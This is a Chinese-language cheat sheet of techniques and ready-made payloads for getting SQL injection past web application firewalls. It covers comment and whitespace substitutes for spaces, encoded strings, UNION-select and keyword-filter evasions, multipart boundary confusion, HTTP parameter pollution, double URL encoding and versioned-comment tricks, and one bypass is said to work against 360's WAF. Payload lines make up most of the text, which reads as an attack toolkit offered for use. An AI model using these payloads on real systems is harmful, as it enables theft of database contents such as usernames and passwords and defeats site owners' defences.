常见的几种WAF
- 云WAF(CDN中包含WAF)
通常需要将DNS解析到CDN的IP上去,请求URL时,数据包先经过云WAF检测,通过后再发送给主机。 - 主机防护软件
可用于扫描和保护主机,并监听WEB端口流量是否有恶意的,功能较为全面。 - 硬件ips/ids防护、硬件waf
使用专门硬件防护设备的方式,当向主机请求时,会先将流量经过此设备进行流量清洗和拦截,如果通过再将数据包流给主机。
常用占位符号
SQL语句可插入符号位[]:
select * from pwd where id=1[]union[]select[]username,password[]from[]pwd;
可以当空格使用的符号
- 注释符
#
--
-- -
--+
//
/**/
/*letmetest*/
;%00 - 空白字符
SQLite3: 0A 0D 0C 09 20
MySQL5: 09 0A 0B 0C 0D A0 20
PosgresSQL: 0A 0D 0C 09 20
Oracle: 11g 00 0A 0D 0C 09 20
MSSQL: 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15, 16,17,18,19,1A,1B,1C,1D,1E,1F,20
- + -
- ``符号,如 `schema_name`
- ~
- !
- 圆括号()
- @`id` 如select@`id`
- .1 和 /*.1*/
- 单双引号' ' " "
- 花括号{}
- 常用urlencode:
Urlencode | Urldecode |
---|---|
%0A | \n |
%23 | # |
%2d | - |
%0B | vertical tab |
%0C | new page |
%0D | carriage return |
%A0 | non-breaking space |
%20 | Space |
%09 | Horizontal Tab |
%26 | &(and) |
- 科学记数法
- 空格替换:%20, %09, %0a, %0b, %0c, %0d, %a0
可运用的SQL函数及关键词
MySQL:
- union
- union distinct
- union all
- union distinctrow
- procedure
- analyse()
- updatexml()
- extracavalue()
- exp()
- ceil()
- atan()
- sqrt()
- floor()
- ceiling()
- tan()
- rand()
- sign()
- greatest()
字符串截取函数
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)
字符串连接函数
concat(version(),'|',user());
concat_ws('|',1,2,3)
字符转换
Char(49)
Hex('a')
Unhex(61)
如果过滤了逗号
- limit处的逗号: limit 1 offset 0
- 字符串截取处逗号: mid(version() from 1 for 1)
MSSQL:
- IS_SRVROLEMEMBER()
- IS_MEMBER()
- HAS_DBACCESS()
- convert()
- col_name()
- object_id()
- is_srvrolemember()
- is_member()
字符串截取函数
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
字符串转换函数
Ascii('a') 这里的函数可以在括号之间添加空格的,一些waf过滤不严会导致bypass
Char('97')
exec()
multipart请求中的注入
PHP解析器在解析multipart请求的时候,它以逗号作为边界,只取boundary,而普通解析器接受整个字符串。 因此,如果没有按正确规范的话,就会出现这么一个状况:首先填充无害的data,waf将其视为了一个整体请求,其实还包含着恶意语句。
------,xxxx
Content-Disposition: form-data; name="img"; filename="img.gif"
GIF89a
------
Content-Disposition: form-data; name="id"
1' union select null,null,flag,null from flag limit 1 offset 1-- -
--------
------,xxxx--
一个可根据需要进行修改的HTML表单提交页面:
HTTP参数污染
假设提交的参数即为:id=1&id=2&id=3
Asp.net + iis:id=1,2,3
Asp + iis:id=1,2,3
Php + apache:id=3
mysql自定义变量
Bypass Payload:
id=1|@pwd:=(select username from users where id=4)/*ddd*/union/*ddd*/select null,@pwd
?id=0'|@pwd:=(select user())/**/union/**/select 1,@pwd,3 --+
绕过'='过滤
解决方法:使用like查询
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';
使用sounds like:
'or+(1)sounds/**/like"1"--%a0-
绕过where name= 条件处引号限制
- where username= 0x61646D696E HEX编码
- where username= CHAR(97, 100, 109, 105, 110) 使用CHAR()函数
盲注中的条件语句
- SELECT IF(1=1, true, false);
- SELECT CASE WHEN 1=1 THEN true ELSE false END;
- IFNULL()
- NULLIF()
括号的用法
UNION(SELECT(column)FROM(table))
过滤 and or
1 or 1=1 and 1=1
payload:
1 || 1=1 1&& 1=1
我在测试过程中发现id=1%20%26%201=1--+
才能正确执行and语句,&&无效
字符串格式
' or "a"='a'
' or 'a'=n'a' //unicode
' or 'a'=b'1100001' //binary
' or 'a'=_binary'1100001' //5.5.41下测试无效
' or 'a'=x'61' //16进制
另外,字符型 or and 关键词不需要加空格,
例如id=1%27and%271%27=%271 \\id=1'and'1'='1
过滤 union select
过滤正则/union\s+select/i
'and(true)like(false)union(select(pass)from(users))#
'union [all|distinct] select pass from users#
'union%a0select pass from users#
'union/*!select*/pass from users#
/vuln.php?id=1 union/*&sort=*/select pass from users-- -
过滤limit
select * from users where id=1;
select * from users group by id having id=1;
特殊的盲注——对比关键字
'and(select pass from users where id=1)='a
'and(select pass from users group by id having id=1)='a
'and length((select pass from users having substr(pass,1,1)='a'))
盲注中的conv()函数
conv(字符串,被转换字符进制,转换后的进制)
conv(hex('a'),16,10)
reverse截取函数
reverse('abcdef')='fedcba'
PHP中的PATH_INFO特性
访问 http://......./3.php?id=1
等价于 http://......./3.php/xxxxxxx?id=1
针对白名单绕过很有效,很多WAF考虑到效率对于后缀为.js .jpg的文件不进行检查,故造成绕过
针对http请求数据包
畸形method:
某些apache版本在做GET请求的时候,无论method为何值均会取出GET的内容。如请求的method名为DOTA,依然会返回GET方法的值,即,可以任意替换GET方法为其它值,但仍能有效工作,但如果waf严格按照GET方法取值,则取不到任何内容
cookie:
某些参数通过GET,POST,COOKIE进行传送,故Cookie处亦可以进行注入
双重URL编码
双重URL编码: 即web应用层在接受到经过服务器层解码后的参数后,又进行了一次URL解码
我们可以将sql语句urlencode两次进行注入
mysql语句可以换行的特性
由于mysql类似C语言,将 ; 符号作为一条语句的结束,故可以在注入语句中加入换行符搭配注释符使用:
id=1'+union--+aaaaaaaaaaaaa%0ASelect--+bbbbbbbbb%0Auser,passwd/**/from%23%0Auser;%00
即
id=1' union--+aaaaaaaaaaaaaaaaaaaaaaaaaa
Select--+bbbbbbbbbbbbbbbbb
user,passwd from#bbbbbbbbbbbbbbbbb
user;bbbbbbbbbbb
实例:
?id=0%27union--+aaaaaa%0Aselect--+bbbbbb%0A1,2,3--+
搞不懂的/!*...*/ (可过360)
id=1 union/*!/*!select 1,2,3*/from dual